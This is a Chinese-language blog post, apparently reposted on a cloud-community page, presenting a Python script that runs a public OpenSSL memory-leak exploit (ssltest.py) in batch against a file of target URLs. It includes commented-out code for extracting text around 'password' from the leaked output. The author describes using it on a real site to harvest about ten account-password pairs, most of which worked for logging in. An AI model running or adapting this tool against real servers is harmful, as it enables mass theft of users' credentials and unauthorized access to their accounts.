python批量檢測openssl漏洞的程式

來源:互聯網
上載者:User

所以找了個站,用for迴圈,批量抓了100個檔案,大概10分鐘左右完成,尋找帳號和密碼大概有10個左右,測試基本都是可以登入的,如果是訪問量大的網站,可能段時間內能抓到更多!自己利用現有EXP寫了個方便批量檢測該漏洞的,主要是練手python,感覺不練進步太慢

 代碼如下 複製代碼

#coding:utf-8
import subprocess
import time
 
#遍曆目標檔案中的URL
def readtar(targetpath):
    f=open(targetpath,"r")
    for url in f.readlines():
        url=url.strip("rn")
        exploit(url)
 
#Exp執行,擷取執行後的原始回顯,發送給getres進行處理
def exploit(url):
    cmd="python "+r"e:dayopensslssltest.py "+url
    print cmd
    expover=subprocess.Popen(cmd,stdout=subprocess.PIPE)
    time.sleep(5)
    expres=expover.stdout.read()
    print expres
'''
#EXP執行回顯篩選,擷取有password的字串
def getres(expres):
    ispwd=False
    if expres.find("password")>0:
        ispwd=True
    if ispwd==True:
        keywords="password"
        before=expres[expres.index(keywords)-280:expres.index(keywords)]
        after=expres[expres.index(keywords)+len(keywords):expres.index(keywords)+len(keywords)+140]
        passallstr=before+keywords+after
        print passallstr
        if len(passallstr)==0:
            print "Maybe no pass or user in strings"
'''
if __name__=='__main__':
    #註明測試目標所在檔案
    targetfile=r"e:dayurl.txt"
    readtar(targetfile)

主要還是藉助公布的exp,只是增加了很簡單的檔案讀取遍曆挨個測試的代碼,還想只列印出出現”password”關鍵字的前後幾行,最後貌似還有點問題,所以注釋掉了。

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.